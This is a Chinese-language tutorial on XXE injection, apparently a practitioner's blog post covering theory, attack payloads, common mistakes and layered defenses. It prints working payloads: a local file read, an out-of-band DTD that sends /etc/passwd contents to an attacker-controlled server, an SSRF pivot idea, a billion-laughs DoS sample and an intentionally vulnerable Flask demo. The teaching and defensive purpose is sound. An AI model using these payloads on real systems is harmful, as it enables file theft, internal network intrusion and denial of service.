我最早真正意识到XXE的杀伤力,不是在看理论文章的时候,而是在某次内网授权测试里,一个看起来只返回“解析失败”的旧接口,居然用盲打的方式把配置文件一点点“搬”了出来。那一刻我才明白,XXE这个概念看起来只是“XML外部实体注入”,但它实际触及的是很多系统最容易被忽略的信任边界。这篇文章我打算把XXE的原理、触发场景、利用思路、新手最容易翻车的细节,以及真正能落地的防御方案完整串一遍,目标就是让刚接触安全的新人少走弯路,也让开发同学理解为什么“解析一下XML”会有这么大风险。
1. 先搞懂XXE在攻击哪个环节:XML实体的信任边界
1.1 XML里的实体不是“数据”,是“可执行指令”
很多人在接触XXE之前,对XML的理解停留在“一种和JSON差不多的数据传输格式”。这个理解在业务开发里够用,但在安全视角下是有问题的。XML和JSON最大的区别之一,就是XML允许通过文档类型定义(DTD)去声明“实体”。实体这个概念,用大白话讲就是在XML文档里预设一个“变量”,解析的时候会被替换成对应的内容。
定义实体需要用到DOCTYPE关键字,典型写法是这样的:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY normalEntity "hello world"> ]> <root>&normalEntity;</root>上面这段XML里,&normalEntity;在解析时会被替换成字符串“hello world”。这是内部实体,数据完全来自文档自身,没什么风险。
真正的问题出在外部实体上。外部实体的内容不从文档里来,而是由SYSTEM关键字指向一个外部资源,解析器在遇到引用时会主动去获取这个资源:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>这时候解析器会去读取本机的/etc/passwd文件,把文件内容填充到&xxe;的位置。如果应用程序毫不怀疑地展示了这段解析结果,攻击者就直接拿到了服务器敏感文件的读取能力。这就是XXE(XML External Entity)的最核心原理。
把这里的逻辑翻译成人话:XML解析器就像一个“照单全收的代购”,你给他一张清单,他就按清单去指定地点拿东西回来。正常业务给出去的清单都是“去数据库拿用户列表”,但攻击者可以伪造清单,写上“去文件系统拿账号密码文件”“去内网IP的9000端口打一声招呼”“去云实例的元数据地址问候一下”。
这里的信任边界在于:解析器默认相信了外部实体的“地址”是安全的。所以XXE攻击的本质不是“XML格式有漏洞”,而是“解析器的外部实体加载能力被攻击者滥用”。很多数据库厂商、框架和编程语言都支持这种特性,但默认情况下很多解析器并没有彻底关闭它。
1.2 哪些业务场景容易成为XXE的“宿主”
知道原理之后,第二个问题就是:到底哪些地方会出现XML解析?如果是纯JSON接口,攻击者很难硬塞XML进去,但如果系统在解析用户可控的XML,风险就立刻出现了。
我见过比较典型的宿主场景,按出现频率排个序:
- SOAP接口。老一代接口很多都是SOAP,消息体是完整XML,必须用DOM或SAX解析,很容易引入XXE。
- REST接口里content-type允许传
application/xml。开发为了方便,常常配置成“JSON和XML都支持”,但XML解析代码写得太粗。 - 文件上传功能。上传
.svg图片、.docx文档、.xlsx表格,这些文件内部本质是XML,服务器一旦把上传内容解包并解析,就会触发XXE。 - 外部订阅、RSS导入。很多CMS后台允许导入RSS或XML格式的文章数据,处理函数里直接用了解析器。
- 配置类文件解析。比如某些低代码平台、报表工具会读取XML配置,如果配置能被用户上传覆盖,同样是个入口。
这些场景的共同点是:开发者只想着“把内容取出来”,却没想过解析器在取内容的过程中会额外执行网络访问或文件读取。实际测试中,我遇到最多的反而是内容管理系统和文档在线预览系统,因为一个系统里可能同时存在“上传SVG”“解析Office文档”“导入订阅数据”多个XML入口。
1.3 解析器层面的“默认行为差异”
不同语言、不同解析库的默认行为差别很大,这一点新手特别容易忽略。比如PHP的simplexml_load_string在较老版本里默认是允许外部实体加载的,而Python的xml.etree.ElementTree在2.7之前同样危险,后来的版本对某些协议才默认拉高门槛。Java的DocumentBuilderFactory历史上一波三折,写的时候不显式设置禁用外部实体,很多老项目就直接裸奔。
所以碰到XXE时,一定要先确认当前解析器是哪一个,再看它默认允不允许加载外部实体。这不是“同一个漏洞到处都一样”的固定套路,而是每个环境的独立判断。理解这一点,能帮你避免后续一上手就乱试载荷,到处碰壁。
2. 三种常用载荷写法与盲打通道设计
2.1 直接回显式:文件内容出现在响应里
对新手来说,最直观的验证方式就是构造一个让解析结果回显的XML。服务器如果会把解析后的内容原样返回给客户端,那我们就能直接在HTTP响应里看到文件内容。经典载荷长这样:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>把这段XML发给一个接受XML的接口,如果响应里出现root:x:0:0:root:...之类的行,漏洞就实锤了。全流程的核心环节有三个:一是XML内容能被服务器接收并解析;二是实体被允许指向外部资源;三是解析结果会拼进响应输出。任何一环断了,回显式都走不通。
比如我用Python的flask搭过本地Demo,接口收到XML后用xml.dom.minidom解析,直接把每个节点的文本内容放到响应里。这种代码看起来没什么问题,但一旦解析器默认支持外部实体,就变成了一个漏洞演示器。
from flask import Flask, request import xml.dom.minidom as minidom app = Flask(__name__) @app.route("/parse", methods=["POST"]) def parse(): try: dom = minidom.parseString(request.data) return dom.getElementsByTagName("root")[0].firstChild.nodeValue except Exception as e: return f"error: {e}"同样的接口,如果把解析结果用于后续逻辑而不是直接返回,那肉眼可能看不出差异,这时就要考虑盲打通道。
2.2 盲打式:响应里什么都看不出,但数据已经“走了”
很多生产环境会做异常处理,XML解析失败就返回500或者“参数错误”,外部实体的返回内容永远不会出现在响应里。这不代表漏洞不存在,而是表示它变成了盲打。
盲打的核心思想是“借解析器的网络能力当传话人”。思路是这样的:在我们自己控制的服务器上放一个恶意的外部DTD文件,让目标XML在解析时去加载这个文件,而文件内容里再定义实体去读目标机器上的敏感文件,最后通过HTTP请求把这个文件内容作为URL参数发到我们的服务器上,相当于目标机器主动向外“汇报”。
这个方式看起来复杂,实际就三步:
- 准备一台我们控制的服务器(比如一台临时VPS或内网测试机),监听HTTP端口。
- 在这台服务器上放一个
xxe.dtd文件,内容长这样:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://my-server/?content=%file;'>"> %all;- 在目标XML里用参数实体引用这个外部DTD:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://my-server/xxe.dtd"> %remote; ]> <root>test</root>目标解析器加载DTD时,会去请求我们的服务器,然后把读到的/etc/passwd内容拼进后续的HTTP请求地址里发送过来。我们在服务器日志里就能看到类似GET /?content=root%3Ax%3A0%3A0...的请求。
这里有几个在实操中经常被忽略的细节:%file;这类参数实体不能直接在外部实体里引用,所以需要通过<!ENTITY % all "<!ENTITY % send SYSTEM ...>">这样的嵌套技巧把引用“包一层”再触发。还有,目标机器能不能访问我们的服务器,取决于网络策略,如果目标处在严格的出站隔离环境里,盲打通道也会失效。
2.3 为什么有些解析器能读文件,有些却只能发HTTP请求
新手经常困惑:同样是外部实体,为什么file://在有些环境能成功,在另一些环境却提示协议不允许?原因在于不同语言的底层实现可选用的“协议集”不同。
我整理过一个比较实用的对照表,来自平时的测试记录,不是官方文档的全量清单,但基本够用:
| 语言/解析库 | 常用协议 | 备注 |
|---|---|---|
| PHP(libxml) | file、http、ftp、php、compress.zlib | 老版本默认可加载外部实体,新版需显式开启 |
| Python(lxml) | file、http、ftp | lxml默认允许外部实体,defusedxml关闭更彻底 |
| Java(JAXP/Xerces) | file、http、jar、gopher 等需结合具体实现 | 默认状态下风险不一,建议显式禁用 |
| .NET(XmlDocument) | file、http | 新版默认阻止某些协议,但XmlResolver被设置时风险回升 |
| Ruby(REXML) | file、http | 老版本默认允许,新版行为有调整 |
看到没有,几乎每个语言都能用file协议,这也是XXE最常见的入口。而http协议,则给了我们SSRF和盲打外带的天然通道。
2.4 一个完整的本地实验:亲手把漏洞跑通
纸上谈兵没意思,我建议新手都在自己的实验环境里把流程走一遍,这样才能对漏洞机制有直观感受。你可以用Python快速搭一个受影响的接口:
- 安装Flask和
lxml库。 - 写一个路由,读请求体,用
lxml.etree.parse解析,并返回根节点文本。 - 启动服务,用Burp Suite或Python requests发送上面那个直显载荷。
- 观察响应中有没有
/etc/passwd的内容。
关键点是:
pip install flask lxml requests然后创建一个包含上述POST请求的Python脚本。第一次跑完,你会看到明文密码文件的内容出现在响应里。接着再试盲打,就会理解“为什么目标响应没有变化,日志里却出现了你的服务器请求”。
做完实验后,千万别顺手把这个Demo部署到公网或者内网生产环境,哪怕它只是一个“实验品”。实验做完,立刻关闭服务、删除临时文件,这是基本功。安全测试有一条铁律:所有验证行为只能在明确授权的测试环境里进行。
3. 新手翻车现场:五个最容易踩的坑
3.1 坑一:实体声明位置不对,整个载荷直接失效
XML对文档结构的要求比较严格,DOCTYPE必须出现在文档的最前面,而且实体定义要放在DOCTYPE的内部子集里。很多新手直接在<root>后面写<!ENTITY...>,或者把DOCTYPE写成了元素的一部分,结果解析器直接报格式错误。
正确的位置是这样:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>如果请求体外面还有一层SOAP信封,那实体声明可能放在信封的doctype位置,而不是内层XML的位置。判断方式很简单:看解析器到底从哪一层开始解析。如果你不确定,就先把载荷放在最小可解析的XML片段里做本地验证。
3.2 坑二:把外部实体和参数实体搞混
普通外部实体的引用方式是用&xxe;,参数实体则要用%xxe;,而且参数实体只能在DOCTYPE内部定义和使用。两者混用的结果通常是“实体未定义”的解析错误。我见过有人拿普通外部实体去做盲打,怎么改都不通,最后发现是把%和&弄反了。
再补充一个容易被卡住的点:参数实体在外部DTD文件里可以用,但在某些解析器中,参数实体在内部子集中被引用时可能受规则限制。如果你发现载荷在本地解析器能跑通、目标环境却报错,大概率就是外部DTD与内部子集的实体解析差异导致的。这时候最好的办法是改走完全的外部DTD文件,把嵌套实体全部放到远程文件里。
3.3 坑三:忽略出站策略,盲打外带被“静默阻断”
很多安全团队觉得只要封掉了目标机器的出站流量,XXE盲打就无法外带数据。但要注意,出站策略拦截的往往只是默认端口,不是所有流量。反过来,也有很多团队部署了严格出站白名单,但只在防火墙层配置,没有覆盖DNS层,导致攻击者用DNS外带通道依然可以获得部分数据。所以盲打失败,不等于漏洞不存在,首先要检查出站维度。
我见过最尴尬的情况是:新手在自己电脑上用内网IP构造外带地址,结果目标服务器根本没有到达该内网IP的路由,日志里一片安静,就误判为“漏洞不成立”。正确做法是,先确认目标机器能否探测到测试服务器,方法之一是用一个比较明显的HTTP请求路径去触发,判断通不通,再考虑数据回传。
3.4 坑四:只盯着回显,漏掉所有盲打的蛛丝马迹
直显实验失败后,很多人直接把目标标记为“不受影响”。但真相可能只是解析结果没有回显,而解析器仍然执行了外部实体加载,日志、错误信息、响应时间都可能藏着信号。
盲打判断有几个比较实用的信号源:
- 响应时间异常。请求原本稳定在20毫秒,构造实体请求后变成1秒多,可能意味着解析器尝试访问了某个远端地址。
- 错误信息泄露。有些框架会把底层异常信息返回给用户,比如“java.net.UnknownHostException”或“Failed to load external entity”,这就是直接的证据。
- 日志中的外联请求。如果你们有流量审计或WAF日志,能看到内网主机主动向奇怪地址发起请求,那就需要立即溯源。
一定要记住:没有回显不等于没有漏洞。判断“是否受影响”的标准是解析器是否尝试加载外部实体,而不是“响应里有没有文件内容”。
3.5 坑五:本地测试时被安全插件“假阴性”坑了
新手的开发环境或测试沙箱里常常装有各类安全代理、WAF插件、API网关,这些设施会拦截明显的XXE载荷,导致接口根本没收到原始XML。你以为漏洞不存在,其实是载荷在到达应用之前就被拦了。
规避这个陷阱的方式不是想办法绕过WAF(在授权测试里,绕过WAF本身也要获得许可),而是先确认流量链路中是否有安全设备“掺和”进来。方法很简单:先在本地直接请求接口,抓包看实际到达后端的请求体是什么。如果发现拦截,就别在那个环境里做验证,换一个干净的、明确授权的测试环境再来。
提示:任何安全测试都必须在授权范围内进行。别拿线上的、第三方系统的XXE去试手,这不是技术问题,是红线问题。
4. 从文件读取到内网“跳板”:XXE往往只是第一步
4.1 用外部实体做SSRF,探测内网服务
XXE加载外部实体时支持http://协议,这意味着解析器会自动替攻击者发起HTTP请求。这本质上是SSRF(服务端请求伪造)的入口。
比较常见的利用路径是:先探测内网存活主机和端口,再把请求指向内网Web管理端、Redis、MySQL等未授权服务或弱口令服务。数据返回可能不如文件读取那么直接,但配合盲打,照样可以把“探测结果”外带出来。
举个例子,假设内网有一台10.1.2.3开了Redis服务,传统内网渗透需要先拿到跳板机,但XXE如果直接支持http://10.1.2.3:6379/...这样的外部实体引用,等于目标主机自己充当了内网访问的跳板。这种能力非常危险,所以只靠“检查是否读了敏感文件”来判断XXE严重性,一定会低估它的影响。
4.2 上传SVG和Office文档:二次解析的隐藏玩法
文件上传功能遇到SVG时,XXE的利用方式更隐蔽。SVG本质是XML,浏览器或服务端在处理SVG时都会经过XML解析。攻击者可以上传一个看似正常的矢量图,内部却包含读取服务端文件的实体。如果这个SVG被其他用户在线访问,浏览器解析时就可能把文件内容展示出来,或者把请求发到攻击者服务器。
类似逻辑也适用于.docx、.xlsx、.pptx。这些Office文件都是ZIP包,内部包含多个XML片段,解析其中一个片段时如果外部实体没被禁用,同样会触发。很多在线文档预览系统就是在这里栽了跟头。
还有一个组合玩法是“二次注入”:第一次上传恶意XML文件,该文件没有被立即解析,而是被存储下来;过了几分钟后,另一个后台任务异步解析这份文件,加载外部实体。这时候就算上传接口的响应完全正常,后台解析也照样中招。排查这种场景不能只看上传接口本身,要追踪后台任务对文件的处理逻辑。
4.3 实体膨胀攻击:几行代码让服务器内存爆掉
除了窃取数据和SSRF,XXE还有一种“简单粗暴”的变体叫作实体膨胀攻击,比较知名的例子是“十亿笑”攻击。核心思路是实体可以嵌套引用,通过不断引用的方式让最终展开的文本体积指数级增长。一个几KB的XML,最终展开后可能达到几个GB,直接把目标进程内存压垮。
下面是一个简化示例,展示嵌套引用如何指数放大:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY a "lol"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> ]> <root>&d;</root>真实攻击还会嵌套更多层,指数增长非常恐怖。即使目标服务器不给任何响应,请求一多也能把CPU和内存拖垮。搞安全的人常说XXE是“进可攻、退可守”的漏洞——攻可以读文件、打内网,守可以拿来当拒绝服务的最佳工具。
对防御者来说,实体膨胀是“随便解析一下”就可能踩中的雷,所以很多方案会把“禁用DOCTYPE”和“限制解析器内存”一起做,而不是只关掉外部实体。
5. 修复不是改一行配置那么简单:分层防御清单
5.1 最直接的修复:在解析器层面禁用DTD和外部实体
对于绝大多数业务系统,最稳妥的做法是直接用解析器提供的安全配置,把DTD禁用掉。因为只要不解析DTD,外部实体和实体膨胀就都没了。这里列出几个主流语言的建议配置。
Python环境,强烈建议使用defusedxml替代标准库的XML解析接口:
from defusedxml.minidom import parseString doc = parseString(xml_data)如果暂时不能引入第三方库,也要手动设置解析器参数。Java环境则要显式关闭两类常见特性:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);.NET环境,关键是确保XmlReaderSettings里的DtdProcessing被设为Prohibit,同时不要把XmlResolver设置为可访问网络资源的实现。
在改代码时有一个经验:不要只改一个解析点,要在入口统一封装一个“安全解析工具类”,所有XML解析都走同一个函数。这样以后新增功能时不会绕开安全配置,也方便代码审计。
5.2 业务必须用XML时的兜底方案:输入校验与资源限制
总有一些场景必须保留XML能力,比如对接老旧SOAP服务、解析外部订阅文件。这时就要退而求其次,做几层兜底。
第一层,输入侧过滤。解析之前先检查内容里有没有<!DOCTYPE>、<!ENTITY>标记,如果业务本身不需要复杂DTD,直接拒绝这类输入。这个方法不能覆盖所有边界情况,但能拦住大部分脚本小子的试探。
第二层,解析器资源限制。主要限制三条:最大实体数量、最大输入长度、最大嵌套深度。Java的DocumentBuilderFactory可以结合setProperty控制实体扩展,Python的defusedxml天然带实体数量防护。目的是在遇到实体膨胀时能快速失败,而不是跟着一起膨胀。
第三层,网络限制。如果解析器没有彻底关闭外部实体加载,至少要限制解析过程能访问的网络范围。比如Java里设置自定义EntityResolver返回空内容,或者通过安全策略禁止应用发起内网非授权地址的访问请求。
这三层没有哪一层是银弹,建议一起做。安全本来就是纵深防御,单点防护永远不够。
5.3 研发、测试、运维怎么分工才不会漏
开发阶段解决95%的问题,这是成本最低的“左移”。研发侧要做的事不复杂:安全编码规范里明确列出XML解析配置模板;代码评审时用关键词搜索DocumentBuilderFactory、new XmlDocument、parseString等解析入口;每次迭代都跑一遍SAST扫描,把“外部实体未禁用”作为高风险规则例常检查。
测试阶段要做的,是把XXE用例加进回归用例集和DAST扫描模板。自动化扫描不仅测这个接口,还要覆盖文件上传、SVG预览、XML导入等所有可能解析XML的入口。特别提醒一点:自动化扫描测不出“盲打”时,人工测试要有意识地用外带通道去验证“解析器到底会不会外联”。
运维侧负责的是运行环境。WAF规则要能匹配典型XXE载荷特征,同时流量审计里要监控内网主机到外部地址的异常XML相关请求。出了告警就按既定流程联动,不要等到攻击者把数据都传走了才发现。
下面这个自查表是我平时和开发团队评审XXE修复时固定用的一张清单,分享出来:
| 检查项 | 处理方式 | 确认状态 |
|---|---|---|
| 所有XML解析入口是否统一走安全封装 | 代码走查 + SAST扫描 | 待确认 |
| DTD是否被禁用 | 解析器配置检查 | 待确认 |
| 外部实体是否被禁用 | 解析器配置检查 | 待确认 |
| 是否需要限制解析器内存/实体数量 | 根据业务选用defusedxml或等价方案 | 待确认 |
| 文件上传入口是否解析Office/SVG | 对可上传文件类型做白名单或转存后再解析 | 待确认 |
接口是否接受application/xml | 若不需要则关闭该content-type | 待确认 |
| 日志/流量侧能否发现异常外联 | 接入审计规则 | 待确认 |
6. 一次授权测试的完整复盘:从发现到验证
6.1 告警是怎么来的:看似正常的“解析失败”背后
前阵子我在一个授权范围内做内网安全评估,目标是某公司内部的一个报表系统。这个系统有个功能是导入Excel模板,上传后会转换成XML再做解析。前期信息收集时,我看了一眼上传接口,响应是标准的“上传成功”,完全没暴露XML处理过程。
问题出在流量监测日志上。测试期间,我在自己控制的服务器上挂了一个外部DTD文件,然后用一个看起来非常正常的XML文件通过上传接口发送过去。过了十几秒钟,我的服务器日志里出现了一条请求记录,路径信息带着上传文件的元数据片段。这说明解析器确实访问了远程DTD文件,虽然响应从来不会把这些数据回显给客户端,但弹道在外。
这里有一个实战技巧:盲打测试时,不要一上来就塞/etc/passwd这种敏感文件读取。先放一个随机字符串作为标识,比如blind-check-9527,再看外部服务器有没有收到回传。只要回传里出现这个字符串,就证明外部实体加载链路是通的,接下来可以再尝试有实际价值的目标。一次成功不代表能顺藤摸瓜,但起码降低了误报率。
6.2 修复验证怎么做:不能只看“扫描器不报了”
确认漏洞后,我和开发团队一起做了修复。修完那天,自动化扫描器确实不再报高风险了,但我没有直接写“已修复”,而是坚持做了一次手工验证:把之前用的XXE载荷原样再发一次,同时盯外部服务器的日志。结果发现载荷还是被解析了,只是解析器不再加载外部实体,但DTD还是允许存在,导致响应报了个格式错误。这说明修复不彻底,防护方式需要进一步加固。
于是我们调整为两层措施。第一层,按照前文Java配置示例,把disallow-doctype-decl打开,直接禁止DOCTYPE声明,这样任何包含<!DOCTYPE的请求都会在解析器入口被拒绝。第二层,在HTTP入口的API网关上增加规则,把请求体里的<!DOCTYPE和<!ENTITY关键词拦截掉,作为纵深补位。两层都生效后,再重放载荷,外部服务器日志彻底安静,接口返回的是平台定义的“参数格式错误”,不再是内部的解析异常。这时候我才在报告里把状态更新为“已修复”。
验证XEE修复,我最推荐的方法就是“重放原载荷 + 观察外联通道”,如果直显型就观察响应体,盲打型就观察外部服务器的HTTP和DNS请求记录。哪个都没有,才算真正闭环。
6.3 我对XXE的几个最终体会
写了这么多,回到开头那句话:XXE攻击的真正可怕之处,是它利用了开发者和解析器之间心照不宣的“信任”。开发者以为XML只是传输数据,解析器却把外部实体当成了“可以去任何地方取货”的指令。这个错位,导致了大量本不该存在的入口。
如果你现在正负责一个老系统,我的建议是从文件上传和接口content-type开始排查,优先看那些会处理Office、SVG、XML导入的模块。不要等着自动化扫描告诉你有风险,因为盲打型XXE真的很容易被工具漏掉。把代码层防护做好之后,再补流量侧的监测,做到“即使没人发现,异常外联也会被记录”。
最后再分享一个小技巧,这个技巧救过我很多次:在安全封装XML解析器的函数里,加一行“解析完成后不再输出原始XML字符串”的日志。也就是说,日志里记录的是解析后的业务字段,而不是原始报文。这样就算有攻击者试图通过日志注入干扰分析,你也多了一重过滤,排查的时候就不会被恶意构造的XML内容带偏思路。